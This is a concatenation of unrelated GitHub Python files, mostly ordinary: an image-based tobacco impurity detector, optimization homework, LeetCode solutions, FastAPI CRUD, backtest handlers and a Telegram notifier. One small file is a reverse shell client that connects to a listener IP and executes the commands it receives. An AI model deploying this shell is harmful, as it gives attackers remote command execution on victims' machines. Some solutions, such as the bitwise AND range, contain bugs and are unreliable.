features.reshape((Config.nRows * Config.nCols), len(Config.selected_bands))\n sum_x = features.sum(axis=1)[..., np.newaxis]\n rate = features / sum_x\n mask = ((rate < Config.is_yellow_max) & (rate > Config.is_yellow_min))\n mask = np.all(mask, axis=1).reshape(Config.nRows, Config.nCols)\n return mask\n\n # 区分背景和黄色杂质\n @staticmethod\n def is_black(feature, threshold):\n feature = feature.reshape((Config.nRows * Config.nCols), feature.shape[2])\n mask = (feature <= threshold)\n mask = np.all(mask, axis=1).reshape(Config.nRows, Config.nCols)\n return mask\n\n # 预测出烟梗的mask\n def predict_tobacco(self, x: np.ndarray) -> np.ndarray:\n \"\"\"\n 预测出烟梗的mask\n :param x: 图像数据,形状是 nRows x nCols x nBands\n :return: bool类型的mask,是否为烟梗, True为烟梗\n \"\"\"\n black_res = self.is_black(x[..., Config.black_yellow_bands], Config.is_black_threshold)\n yellow_res = self.is_yellow(x[..., Config.black_yellow_bands])\n yellow_things = (~black_res) & yellow_res\n x_yellow = x[yellow_things, ...]\n tobacco = self.pixel_model_ml.predict(x_yellow[..., Config.green_bands])\n yellow_things[yellow_things] = tobacco\n return yellow_things\n\n # 预测出杂质的机器学习像素模型\n def pixel_predict_ml_dilation(self, data, iteration) -> np.ndarray:\n \"\"\"\n 预测出杂质的位置mask\n :param data: 图像数据,形状是 nRows x nCols x nBands\n :param iteration: 膨胀的次数\n :return: bool类型的mask,是否为杂质, True为杂质\n \"\"\"\n black_res = self.is_black(data[..., Config.black_yellow_bands], Config.is_black_threshold)\n yellow_res = self.is_yellow(data[..., Config.black_yellow_bands])\n # non_yellow_things为异色杂质\n non_yellow_things = (~black_res) & (~yellow_res)\n # yellow_things为黄色物体(烟梗+杂质)\n yellow_things = (~black_res) & yellow_res\n # x_yellow为挑出的黄色物体\n x_yellow = data[yellow_things, ...]\n if x_yellow.shape[0] == 0:\n return non_yellow_things\n else:\n tobacco = self.pixel_model_ml.predict(x_yellow[..., Config.green_bands]) > 0.5\n\n non_yellow_things[yellow_things] = ~tobacco\n # 杂质mask中将背景赋值为0,将杂质赋值为1\n non_yellow_things = non_yellow_things + 0\n\n # 烟梗mask中将背景赋值为0,将烟梗赋值为2\n yellow_things[yellow_things] = tobacco\n yellow_things = yellow_things + 0\n yellow_things = binary_dilation(yellow_things, iterations=iteration)\n yellow_things = yellow_things + 0\n yellow_things[yellow_things == 1] = 2\n\n # 将杂质mask和烟梗mask相加,得到的mask中含有0(背景),1(杂质),2(烟梗),3(膨胀后的烟梗与杂质相加的部分)\n mask = non_yellow_things + yellow_things\n mask[mask == 0] = False\n mask[mask == 1] = True\n mask[mask == 2] = False\n mask[mask == 3] = False\n return mask\n\n # 预测出杂质的分块模型\n def blk_predict(self, data):\n blk_result_array = self.blk_model.predict(data)\n return blk_result_array\n\n\n# 机器学习像素模型类\nclass PixelModelML:\n def __init__(self, pixel_model_path=None):\n with open(pixel_model_path, \"rb\") as f:\n self.dt = pickle.load(f)\n\n def predict(self, feature):\n pixel_result_array = self.dt.predict_bin(feature)\n return pixel_result_array\n\n\n# 分块模型类\nclass BlkModel:\n def __init__(self, blk_model_path):\n self.rfc = None\n self.load(blk_model_path)\n\n @staticmethod\n def split_x(data: np.ndarray, blk_sz: int) -> list:\n \"\"\"\n Split the data into slices for classification.将数据划分为多个像素块,便于后续识别.\n\n ;param data: image data, shape (num_rows x ncols x num_channels)\n ;param blk_sz: block size\n ;param sensitivity: 最少有多少个杂物点能够被认为是杂物\n ;return data_x, data_y: sliced data x (block_num x num_charnnels x blk_sz x blk_sz)\n \"\"\"\n x_list = []\n for i in range(0, 256 // blk_sz):\n for j in range(0, 1024 // blk_sz):\n block_data = data[i * blk_sz: (i + 1) * blk_sz, j * blk_sz: (j + 1) * blk_sz, ...]\n x_list.append(block_data)\n return x_list\n\n def predict(self, data):\n data_blk = data\n data_blk = np.array(self.split_x(data_blk, blk_sz=Config.blk_size))\n data_blk = data_blk.reshape((data_blk.shape[0]), -1)\n y_pred = self.rfc.predict(data_blk)\n y_pred[y_pred < 2] = 0\n y_pred[y_pred > 1] = 1\n blk_result_array = y_pred.reshape(256 // Config.blk_size, 1024 // Config.blk_size).repeat(Config.blk_size,\n axis=0).repeat(\n Config.blk_size,\n axis=1)\n return blk_result_array\n\n def load(self, model_path: str):\n with open(model_path, \"rb\") as f:\n self.rfc = pickle.load(f)\n\n\nclass RgbDetector(Detector):\n def __init__(self, tobacco_model_path, background_model_path, ai_path):\n self.background_detector = None\n self.tobacco_detector = None\n self.load(tobacco_model_path, background_model_path)\n self.ai_path = ai_path\n if ai_path is not None:\n self.ai_detector = SugarDetect(model_path=ai_path)\n\n def predict(self, rgb_data):\n rgb_data = self.tobacco_detector.pretreatment(rgb_data) # resize to the required size\n background = self.background_detector.predict(rgb_data)\n tobacco = self.tobacco_detector.predict(rgb_data)\n tobacco_d = self.tobacco_detector.swell(tobacco) # dilate the tobacco to remove the tobacco edge error\n high_s = cv2.cvtColor(rgb_data, cv2.COLOR_RGB2HSV)[..., 1] > Config.threshold_s\n non_tobacco_or_background = 1 - (background | tobacco_d) # 既非烟梗也非背景的区域\n rgb_predict_result = high_s | non_tobacco_or_background # 高饱和度区域或者是双非区域都是杂质\n mask_rgb = size_threshold(rgb_predict_result, Config.blk_size, Config.rgb_size_threshold) # 杂质大小限制,超过大小的才打\n if self.ai_path is not None:\n mask_ai = self.ai_detector.detect(rgb_data, Config.ai_conf_threshold)\n mask_ai = cv2.resize(mask_ai, dsize=(mask_rgb.shape[1], mask_rgb.shape[0]))\n mask_rgb = mask_ai | mask_rgb\n # # 测试时间\n # start = time.time()\n # 转换为lab,提取a通道,识别绿色杂质\n lab_a = cv2.cvtColor(rgb_data, cv2.COLOR_RGB2LAB)[..., 1] < Config.threshold_a\n # 转换为lab,提取b通道,识别蓝色杂质\n lab_b = cv2.cvtColor(rgb_data, cv2.COLOR_RGB2LAB)[..., 2] < Config.threshold_b\n lab_predict_result = lab_a | lab_b\n mask_lab = size_threshold(lab_predict_result, Config.blk_size, Config.lab_size_threshold)\n mask_rgb = mask_rgb.astype(np.uint8) | mask_lab.astype(np.uint8)\n # # 测试时间\n # end = time.time()\n # print(\"lab time: \", end - start)\n return mask_rgb\n\n def load(self, tobacco_model_path, background_model_path):\n self.tobacco_detector = AnonymousColorDetector(tobacco_model_path)\n self.background_detector = AnonymousColorDetector(background_model_path)\n\n def save(self, *args, **kwargs):\n pass\n\n def fit(self, *args, **kwargs):\n pass\n\n\nclass SpecDetector(Detector):\n # 初始化机器学习像素模型、深度学习像素模型、分块模型\n def __init__(self, blk_model_path, pixel_model_path):\n self.blk_model = None\n self.pixel_model_ml = None\n self.load(blk_model_path, pixel_model_path)\n self.spare_part = np.zeros((Config.blk_size//2, Config.nCols))\n\n def load(self, blk_model_path, pixel_model_path):\n self.pixel_model_ml = PixelModelML(pixel_model_path)\n self.blk_model = BlkModel(blk_model_path)\n\n def predict(self, img_data: np.ndarray, save_part: bool = False) -> np.ndarray:\n pixel_predict_result = self.pixel_predict_ml_dilation(data=img_data, iteration=1)\n blk_predict_result = self.blk_predict(data=img_data)\n mask = (pixel_predict_result & blk_predict_result).astype(np.uint8)\n spec_cv = np.clip(img_data[..., [21, 3, 0]], a_min=0, a_max=1) * 255\n spec_cv = spec_cv.astype(np.uint8)\n # spec转lab 提取a通道,识别绿色杂质\n lab_a = cv2.cvtColor(spec_cv, cv2.COLOR_RGB2LAB)[..., 1] < Config.s_threshold_a\n # spec转lab 提取b通道,识别蓝色杂质\n lab_b = cv2.cvtColor(spec_cv, cv2.COLOR_RGB2LAB)[..., 2] < Config.s_threshold_b\n lab_predict_result = lab_a | lab_b\n mask_lab = size_threshold(lab_predict_result, Config.blk_size, Config.lab_size_threshold)\n\n if save_part:\n self.spare_part = mask[-(Config.blk_size//2):, :]\n mask = size_threshold(mask, Config.blk_size, Config.spec_size_threshold, self.spare_part)\n mask = mask.astype(np.uint8) | mask_lab.astype(np.uint8)\n return mask\n\n def save(self, *args, **kwargs):\n pass\n\n def fit(self, *args, **kwargs):\n pass\n\n # 区分烟梗和非黄色且非背景的杂质\n @staticmethod\n def is_yellow(features):\n features = features.reshape((Config.nRows * Config.nCols), len(Config.selected_bands))\n sum_x = features.sum(axis=1)[..., np.newaxis]\n rate = features / sum_x\n mask = ((rate < Config.is_yellow_max) & (rate > Config.is_yellow_min))\n mask = np.all(mask, axis=1).reshape(Config.nRows, Config.nCols)\n return mask\n\n # 区分背景和黄色杂质\n @staticmethod\n def is_black(feature, threshold):\n feature = feature.reshape((Config.nRows * Config.nCols), feature.shape[2])\n mask = (feature <= threshold)\n mask = np.all(mask, axis=1).reshape(Config.nRows, Config.nCols)\n return mask\n\n # 预测出烟梗的mask\n def predict_tobacco(self, x: np.ndarray) -> np.ndarray:\n \"\"\"\n 预测出烟梗的mask\n :param x: 图像数据,形状是 nRows x nCols x nBands\n :return: bool类型的mask,是否为烟梗, True为烟梗\n \"\"\"\n black_res = self.is_black(x[..., Config.black_yellow_bands], Config.is_black_threshold)\n yellow_res = self.is_yellow(x[..., Config.black_yellow_bands])\n yellow_things = (~black_res) & yellow_res\n x_yellow = x[yellow_things, ...]\n tobacco = self.pixel_model_ml.predict(x_yellow[..., Config.green_bands])\n yellow_things[yellow_things] = tobacco\n return yellow_things\n\n # 预测出杂质的机器学习像素模型\n def pixel_predict_ml_dilation(self, data, iteration) -> np.ndarray:\n \"\"\"\n 预测出杂质的位置mask\n :param data: 图像数据,形状是 nRows x nCols x nBands\n :param iteration: 膨胀的次数\n :return: bool类型的mask,是否为杂质, True为杂质\n \"\"\"\n black_res = self.is_black(data[..., Config.black_yellow_bands], Config.is_black_threshold)\n yellow_res = self.is_yellow(data[..., Config.black_yellow_bands])\n # non_yellow_things为异色杂质\n non_yellow_things = (~black_res) & (~yellow_res)\n # yellow_things为黄色物体(烟梗+杂质)\n yellow_things = (~black_res) & yellow_res\n # x_yellow为挑出的黄色物体\n x_yellow = data[yellow_things, ...]\n if x_yellow.shape[0] == 0:\n return non_yellow_things\n else:\n tobacco = self.pixel_model_ml.predict(x_yellow) < 0.5\n\n non_yellow_things[yellow_things] = ~tobacco\n # 杂质mask中将背景赋值为0,将杂质赋值为1\n non_yellow_things = non_yellow_things + 0\n\n # 烟梗mask中将背景赋值为0,将烟梗赋值为2\n yellow_things[yellow_things] = tobacco\n yellow_things = yellow_things + 0\n yellow_things = binary_dilation(yellow_things, iterations=iteration)\n yellow_things = yellow_things + 0\n yellow_things[yellow_things == 1] = 2\n\n # 将杂质mask和烟梗mask相加,得到的mask中含有0(背景),1(杂质),2(烟梗),3(膨胀后的烟梗与杂质相加的部分)\n mask = non_yellow_things + yellow_things\n mask[mask == 0] = False\n mask[mask == 1] = True\n mask[mask == 2] = False\n mask[mask == 3] = False\n return mask\n\n # 预测出杂质的分块模型\n def blk_predict(self, data):\n blk_result_array = self.blk_model.predict(data)\n return blk_result_array\n\n\nclass DecisionTree(DecisionTreeClassifier):\n def predict_bin(self, feature):\n res = self.predict(feature)\n res[res <= 1] = 0\n res[res > 1] = 1\n return res\n\n\nif __name__ == '__main__':\n import os\n data_dir = os.path.join('E:\\Tobacco\\data', 'dataset')\n color_dict = {(0, 0, 255): \"yangeng\"}\n dataset = read_labeled_img(data_dir, color_dict=color_dict, is_ps_color_space=False)\n ground_truth = dataset['yangeng']\n detector = AnonymousColorDetector(file_path=r'E:\\Tobacco\\weights\\tobacco_dt_2022-08-05_10-38.model')\n # x = np.array([[10, 30, 20], [10, 35, 25], [10, 35, 36]])\n boundary = np.array([0, 0, 0, 255, 255, 255])\n # detector.fit(x, world_boundary, threshold=5, negative_sample_size=2000)\n detector.visualize(boundary, sample_size=500000, class_max_num=5000, ground_truth=ground_truth, inside_alpha=0.3,\n outside_alpha=0.01)\n temp = scipy.io.loadmat('data/dataset_2022-07-19_11-35.mat')\n x, y = temp['x'], temp['y']\n dataset = {'inside': x[y.ravel() == 1, :], \"outside\": x[y.ravel() == 0, :]}\n lab_scatter(dataset, class_max_num=5000, is_3d=True, is_ps_color_space=False)\n","repo_name":"FEIJINTI/tobacco_color","sub_path":"models/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":21601,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"28095543996","text":"# cvxpy_intro.py\n\"\"\"Volume 2: Intro to CVXPY.\n\n<3/9/22>\n\"\"\"\nimport cvxpy as cp\nimport numpy as np\n\ndef prob1():\n \"\"\"Solve the following convex optimization problem:\n\n minimize 2x + y + 3z\n subject to x + 2y <= 3\n y - 4z <= 1\n 2x + 10y + 3z >= 12\n x >= 0\n y >= 0\n z >= 0\n\n Returns (in order):\n The optimizer x (ndarray)\n The optimal value (float)\n \"\"\"\n #initialize the objective and declare x with its size and sign, initialize c\n x = cp.Variable(3, nonneg = True)\n c = np.array([2, 1, 3])\n objective = cp.Minimize(c.T @ x)\n\n #write the constraints\n G = np.array([[1, 2, 0],[0, 1, -4]])\n P = np.array([[2, 10, 3], [1, 0, 0], [0, 1, 0], [0, 0, 1]])\n q = np.array([12, 0, 0, 0])\n h = np.array([3, 1])\n\n constraints = [G @ x <= h, P @ x >= q]\n\n #assemble the problem and solve it:\n problem = cp.Problem(objective, constraints)\n value = problem.solve()\n\n #return optimizer and optimal value\n return x.value, value\n\n\n# Problem 2\ndef l1Min(A, b):\n \"\"\"Calculate the solution to the optimization problem\n\n minimize ||x||_1\n subject to Ax = b\n\n Parameters:\n A ((m,n) ndarray)\n b ((m, ) ndarray)\n\n Returns:\n The optimizer x (ndarray)\n The optimal value (float)\n \"\"\"\n #get n for initializing x and finding norm\n n = np.shape(A)[1]\n x = cp.Variable(n, nonneg = True)\n objective = cp.Minimize(cp.norm(x, 1))\n\n #initialize constraint Ax = b\n constraint = [A @ x == b]\n\n #assemble the problem and solve it:\n problem = cp.Problem(objective, constraint)\n \n #return optimizer and optimal value\n value = problem.solve()\n\n return x.value, value\n\n# Problem 3\ndef prob3():\n \"\"\"Solve the transportation problem by converting the last equality constraint\n into inequality constraints.\n\n Returns (in order):\n The optimizer x (ndarray)\n The optimal value (float)\n \"\"\"\n #initializing x and objective\n x = cp.Variable(6, nonneg = True)\n c = np.array([4, 7, 6, 8, 8, 9])\n objective = cp.Minimize(c.T @ x)\n\n #initialize constraint Ax == b\n A = np.array([[1, 1, 0, 0, 0, 0],\n [0, 0, 1, 1, 0, 0],\n [0, 0, 0, 0, 1, 1], \n [0, -1, 0, -1, 0, -1],\n [-1, 0, -1, 0, -1, 0]])\n b = np.array([7, 2, 4, -8, -5])\n constraint = [x >= 0, A @ x == b]\n\n #assemble the problem and solve it:\n problem = cp.Problem(objective, constraint)\n \n #return optimizer and optimal value\n value = problem.solve()\n \n return x.value, value\n\n\n# Problem 4\ndef prob4():\n \"\"\"Find the minimizer and minimum of\n\n g(x,y,z) = (3/2)x^2 + 2xy + xz + 2y^2 + 2yz + (3/2)z^2 + 3x + z\n\n Returns (in order):\n The optimizer x (ndarray)\n The optimal value (float)\n \"\"\"\n #define Q, and r\n Q = np.array([[3, 2, 1], [2, 4, 2], [1, 2, 3]])\n r = np.array([3, 0, 1])\n x = cp.Variable(3)\n\n #use cp to solve quadratic\n prob = cp.Problem(cp.Minimize(.5 * cp.quad_form(x, Q) + r.T @ x))\n\n value = prob.solve()\n return x.value, value\n\n#need help with problem 5!!\n# Problem 5\ndef prob5(A, b):\n \"\"\"Calculate the solution to the optimization problem\n minimize ||Ax - b||_2\n subject to ||x||_1 == 1\n x >= 0\n Parameters:\n A ((m,n), ndarray)\n b ((m,), ndarray)\n \n Returns (in order):\n The optimizer x (ndarray)\n The optimal value (float)\n \"\"\"\n #get n for initializing x and finding norm\n n = np.shape(A)[1]\n x = cp.Variable(n, nonneg = True)\n objective = cp.Minimize(cp.norm(A @ x - b, 2))\n\n #initialize constraint 1-norm and nonneg values\n constraint = [ x.T@np.ones(n) == 1]\n\n #assemble the problem and solve it:\n problem = cp.Problem(objective, constraint)\n \n #return optimizer and optimal value\n value = problem.solve()\n\n return x.value, value\n\n\n# Problem 6\ndef prob6():\n \"\"\"Solve the college student food problem. Read the data in the file \n food.npy to create a convex optimization problem. The first column is \n the price, second is the number of servings, and the rest contain\n nutritional information. Use cvxpy to find the minimizer and primal \n objective.\n \n Returns (in order):\n The optimizer x (ndarray)\n The optimal value (float)\n \"\"\"\t \n food = np.load(\"food.npy\", allow_pickle = True)\n p = food[:, 0]\n serve = food[:, 1]\n c = np.array([serve[i] * food[:, 2][i] for i in range(18)])\n f = np.array([serve[i] * food[:, 3][i] for i in range(18)])\n s_hat = np.array([serve[i] * food[:, 4][i] for i in range(18)])\n c_hat = np.array([serve[i] * food[:, 5][i] for i in range(18)])\n f_hat = np.array([serve[i] * food[:, 6][i] for i in range(18)])\n p_hat = np.array([serve[i] * food[:, 7][i] for i in range(18)])\n\n #get n for initializing x and finding norm\n x = cp.Variable(18, nonneg = True)\n objective = cp.Minimize(p.T@x)\n\n #initialize constraint Ax = b\n constraint = [c.T@x <= 2000,\n f.T@x <= 65,\n s_hat.T@x <= 50,\n c_hat.T@x >= 1000,\n f_hat.T@x >= 25,\n p_hat.T@x >= 46,\n x >= 0]\n\n #assemble the problem and solve it:\n problem = cp.Problem(objective, constraint)\n \n #return optimizer and optimal value\n value = problem.solve()\n\n return x.value, value\n\nif __name__ == \"__main__\":\n A = np.array([[1, 2, 1, 1], [0, 3, -2, -1]])\n b = np.array([7, 4])\n\n #print(prob5(A, b))\n print(prob6())","repo_name":"sophieggee/algorithm-optimization","sub_path":"CVXPY_Intro/cvxpy_intro.py","file_name":"cvxpy_intro.py","file_ext":"py","file_size_in_byte":5777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32518302029","text":"#!/usr/bin/env python2.7\n\n\n'''\nGiven a range [m, n] where 0 <= m <= n <= 2147483647, return the bitwise AND of all numbers in this range, inclusive.\n\nFor example, given the range [5, 7], you should return 4.\n'''\n\n\nclass Solution(object):\n def range_bitwise_and(self, m, n):\n r = 0\n while m != n:\n m >>= 1\n n >>= 1\n r += 1\n return r << m","repo_name":"fifa007/Leetcode","sub_path":"src/bitwise_and_of_numbers_range.py","file_name":"bitwise_and_of_numbers_range.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6617419137","text":"from fastapi import (HTTPException, status)\nfrom sqlalchemy.orm import Session\n\nfrom .. import db_models\nfrom ..schemas import Blog\n\ndef get_all(session:Session)->list:\n\n blogs = session.query(db_models.Blog).all()\n\n return blogs\n\ndef create(request:Blog, session:Session):\n\n new_blog = db_models.Blog(title=request.title, body=request.body, author_id=request.author_id)\n session.add(new_blog)\n session.commit()\n session.refresh(new_blog)\n\n return new_blog\n\ndef get(id:int, session:Session):\n\n blog = session.query(db_models.Blog).filter(db_models.Blog.id == id).first()\n\n if not blog:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"Blog with ID {id} not found.\")\n else:\n return blog\n\ndef update(id:int, request:Blog, session:Session):\n\n blog = session.query(db_models.Blog).filter(db_models.Blog.id == id).first()\n\n if not blog:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=\"Blog with ID {id} not found\")\n else:\n blog.update(request)\n session.commit()\n\n return {\"detail\": \"succexx\"}\n\ndef delete(id:int, session:Session):\n\n blog = session.query(db_models.Blog).filter(db_models.Blog.id == id).first()\n\n if not blog:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"Blog with ID:{id}, not found.\")\n else:\n blog.delete(synchronize_session=False)\n session.commit()\n \n return {\"details\": \"Blog {id} deleted!\"}\n\n","repo_name":"Kiran-Sawant/learning-FastAPI","sub_path":"blog/crud/bCrud.py","file_name":"bCrud.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6685322808","text":"from google.appengine.ext import webapp\nfrom google.appengine.ext.webapp.util import run_wsgi_app\nimport meTools\n\nclass doBackTests(webapp.RequestHandler):\n def get(self):\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write('I do backtests! Please use mainTaskAdd().\\n')\n \n def post(self):\n JobID = self.request.get('JobID')\n totalBatches = int(self.request.get('totalBatches'))\n callback = self.request.get('callback')\n \n uniquifier = self.request.get('uniquifier')\n namespace = str(self.request.get('namespace'))\n \n startAlg = int(self.request.get('startAlg'))\n stopAlg = int(self.request.get('stopAlg'))\n \n stopStep = int(self.request.get('stopStep'))\n batchSize = int(self.request.get('batchSize'))\n stepRange = self.request.get_all('stepRange')\n stepRange = [int(step) for step in stepRange]\n runBackTests(startAlg, stopAlg, stopStep, batchSize, stepRange, uniquifier, namespace, JobID, totalBatches, callback)\n\nclass doBackTestBatch(webapp.RequestHandler):\n def get(self):\n self.response.headers['Content-Type'] = 'text/plain'\n self.response.out.write('I aint nothing but a task handler..\\n')\n \n def post(self):\n JobID = self.request.get('JobID')\n totalBatches = int(self.request.get('totalBatches'))\n callback = self.request.get('callback')\n taskname = self.request.headers['X-AppEngine-TaskName']\n \n startAlg = int(self.request.get('startAlg'))\n stopAlg = int(self.request.get('stopAlg'))\n algBatch = [meTools.buildAlgKey(i) for i in range(startAlg, stopAlg + 1)]\n monthBatch = self.request.get_all('monthBatch')\n stopStep = self.request.get('stopStep')\n namespace = str(self.request.get('namespace'))\n backTestBatch(algBatch, monthBatch, stopStep, namespace)\n if callback:\n meTools.taskAdd('callback-' + taskname, callback, 'default', 0.5,\n JobID = JobID, taskname = taskname, totalBatches = totalBatches,\n model = '', jobtype = 'callback', stepType = 'weeklyBackTests')\n\ndef addTaskRange(initialStopStep, globalStop, unique, namespace, batchSize=5, stepsBack=1600, callback = ''):\n '''\n Task Ranges will branch out into weekly clumps for all algs.\n Remove startAlg, stopAlg from task name and use stepRange value instead.\n\n Must calculate expected count to be found for completion entities.\n '''\n import meSchema\n from google.appengine.api import namespace_manager\n from math import ceil\n namespace_manager.set_namespace('')\n startAlg = 1\n stopAlg = int(meSchema.meAlg.all(keys_only=True).order('-__key__').get().name())\n \n ''' Pre-calculating number of batches for callback to check against. '''\n numWeeks = ((globalStop - initialStopStep)/400) + 1\n numAlgs = stopAlg - startAlg + 1\n batchesWeek = ceil(numAlgs/float(batchSize))\n totalBatches = int(numWeeks*batchesWeek)\n JobID = meTools.buildJobID(namespace, unique, globalStop, initialStopStep, stepsBack)\n\n ''' Probably need to add a WorkQueue clear function just in case have overlapping JobIDs. '''\n \n for i in range(initialStopStep, globalStop+1, 400):\n stopStep = i\n startStep = stopStep - stepsBack\n stepRange = [startStep]\n name = 'Main-backTestResult-' + JobID + '-' + str(stopStep).rjust(7,'0')\n meTools.taskAdd(name, '/backtest/doBackTests', 'default', 0.5,\n startAlg = startAlg, stopAlg = stopAlg, stopStep = stopStep, batchSize = batchSize,\n stepRange = stepRange, uniquifier = unique, namespace = namespace, JobID = JobID,\n totalBatches = totalBatches, callback = callback)\n\ndef runBackTests(startAlg, stopAlg, stop, batchSize, stepRange, uniquifier, namespace, JobID, totalBatches, callback):\n monthList = [str(step) for step in stepRange]\n \n for batchStart in range(startAlg, stopAlg + 1, batchSize):\n batchEnd = min(batchStart + batchSize - 1, stopAlg)\n batchName = 'Batch-backTestResult-' + JobID + '-' + str(batchStart) + '-' + str(batchEnd) + '-' + str(stop)\n meTools.taskAdd(batchName, '/backtest/doBackTestBatch', 'backTestQueue', 0.5,\n startAlg = batchStart, stopAlg = batchEnd, monthBatch = monthList, stopStep = stop,\n namespace = namespace, JobID = JobID, totalBatches = totalBatches, callback = callback)\n\ndef backTestBatch(algBatch, monthBatch, stopStep, namespace):\n import processDesires\n from google.appengine.api import namespace_manager\n backTestReturnDict = {}\n for alg in algBatch:\n for startMonth in monthBatch:\n memprefix = startMonth + '_' + stopStep + '_'\n batchReturns = processDesires.updateAlgStat(alg, startMonth, stopStep, namespace, memprefix)\n for key in batchReturns:\n if key in backTestReturnDict:\n backTestReturnDict[key]['returns'].update(batchReturns[key]['returns'])\n else:\n backTestReturnDict[key] = batchReturns[key]\n try:\n namespace_manager.set_namespace(namespace)\n processDesires.persistBackTestReturns(backTestReturnDict)\n finally:\n namespace_manager.set_namespace('')\n\napplication = webapp.WSGIApplication([('/backtest/doBackTests',doBackTests),\n ('/backtest/doBackTestBatch',doBackTestBatch)],\n debug = True)\n\ndef main():\n run_wsgi_app(application)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"eliwjones/meprojectholder","sub_path":"meFinance/doBackTests.py","file_name":"doBackTests.py","file_ext":"py","file_size_in_byte":5730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34232663325","text":"import telebot\nfrom telethon.sync import TelegramClient\nfrom telethon.tl.types import InputPeerUser, InputPeerChannel\nfrom telethon import TelegramClient, sync, events\n\n\nclass PushNotifications:\n apiId = 'APIID'\n apiHash = 'APIHASH'\n token = 'TELEGRAMTOKEN'\n phone = 'YOUR_NUMBER'\n notificationUsers = []\n receivers = []\n\n def __init__(self, debug = True):\n self.debug = debug\n self.client = TelegramClient('session', self.apiId, self.apiHash)\n self.client.connect()\n\n if not self.client.is_user_authorized():\n\n self.client.send_code_request(self.phone)\n\n # signing in the client\n self.client.sign_in(self.phone, input('Enter the code: '))\n\n self.me = self.client.get_me()\n\n def getReceivers(self, notificationUsers):\n receivers = []\n for userName in notificationUsers:\n receivers.append(self.client.get_entity(userName))\n return receivers\n\n def sendMessageToMe(self, notificationUsers, message):\n message = 'Send to {}:\\n{}'.format(('me', notificationUsers)[len(notificationUsers) > 0], message)\n print(message)\n\n try:\n self.client.send_message(self.me, message, parse_mode='html')\n except Exception as e:\n print(e)\n\n def sendMessage(self, notificationUsers, message):\n self.sendMessageToMe(notificationUsers, message)\n if self.debug:\n return\n receivers = self.getReceivers(notificationUsers)\n try:\n for receiver in receivers:\n self.client.send_message(receiver, message, parse_mode='html')\n except Exception as e:\n print(e)\n","repo_name":"70X/py-scraper-telegram-feedback","sub_path":"push_notifications.py","file_name":"push_notifications.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71007665333","text":"import socket\nimport subprocess\n\n# IP and port of the reverse shell server\nIP = \"inputyourthelisteningIP\"\nPORT = 7777\n\n# create a socket object\nclient = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# connect to the server\nclient.connect((IP, PORT))\n\n# receive the command from the server\nwhile True:\n command = client.recv(1024).decode()\n if command == \"exit\":\n break\n # execute the command and send the result back to the server\n output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n client.send(output.stdout)\n\n# close the connection\nclient.close()\n","repo_name":"C0deDefense/Python","sub_path":"python_client_script_made_by_openapi.py","file_name":"python_client_script_made_by_openapi.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37216857951","text":"class Solution:\n def minMutation(self, start: str, end: str, bank: 'List[str]') -> int: # O( 2**N | 1 ), N being the length of the bank\n if end not in bank: #if the end is not in the bank, it's invalid\n return -1\n else:\n def helper(change, curr, end, bank, output):\n if curr == end:\n output[0] = min(output[0], change)\n else:\n valid = lambda a, b: len([i for i in range(len(a)) if a[i]!=b[i]]) == 1 # if only one character difference\n for i in range(len(bank)):\n if valid(curr, bank[i]):\n helper(change+1, bank[i], end, bank[:i] + bank[i+1:], output)\n \n output = [float('inf')]\n helper(0, start, end, bank, output)\n return output[0] if output[0] != float('inf') else -1\n \n \n \n\n\n\n# previous solution\n\n# class Solution:\n# def minMutation(self, start: str, end: str, bank: 'List[str]') -> int:\n# def diff(A,B):\n# cnt = 0\n# for i in range(len(A)): #There're 8 characters in total.\n# if A[i] != B[i]:\n# cnt +=1\n# return cnt\n# dp = [None for _ in bank] #initialize everything as -1, to record how many steps to reach end\n# find = -1\n# for i in range(len(bank)):\n# if bank[i] == end:\n# dp[i] = 0\n# find = i\n# break\n# if find == -1: return -1 # end is not in the bank\n# curr = [find] #set end as current token\n# while curr: #this is to populate the dp\n# to_find = curr.pop(0)\n# i = 0\n# while i < len(bank):\n# if dp[i] == None and diff(bank[i], bank[to_find]) == 1:\n# dp[i] = dp[to_find] + 1\n# curr.append(i)\n# i+=1\n\n# output = float('inf')\n# i = 0\n# while i < len(bank):\n# if diff(bank[i], start) ==1 and dp[i] != None:\n# output = min(dp[i]+1, output)\n# i+=1\n# return -1 if output == float('inf') else output\n\n\n\n\n","repo_name":"renjieliu/leetcode","sub_path":"0001_0599/433.py","file_name":"433.py","file_ext":"py","file_size_in_byte":2218,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"22736878386","text":"# Define 'a' and 'b' variables as lists of integers\na = [5, 2, 3]\nb = [2, 5, 3]\n\n# The function compares two values\ndef compare(a, b):\n if a > b:\n return 1\n elif a == b:\n return 0\n else:\n return -1\n\n\ndef print_result():\n # For loop that iterates over 'a' list and prints the result of comparison\n for i in range(len(a)):\n if a[i] > b[i]:\n print(f'{a[i]} > {b[i]}, hence return is', compare(a[i],b[i]))\n elif a[i] == b[i]:\n print(f'{a[i]} = {b[i]}, hence return is', compare(a[i],b[i]))\n else:\n print(f'{a[i]} < {b[i]}, hence return is', compare(a[i],b[i]))\n print(\"\")\n\n#A user inputs two nubers from the keyboard, which are compared by calling the function 'compare'\ndef 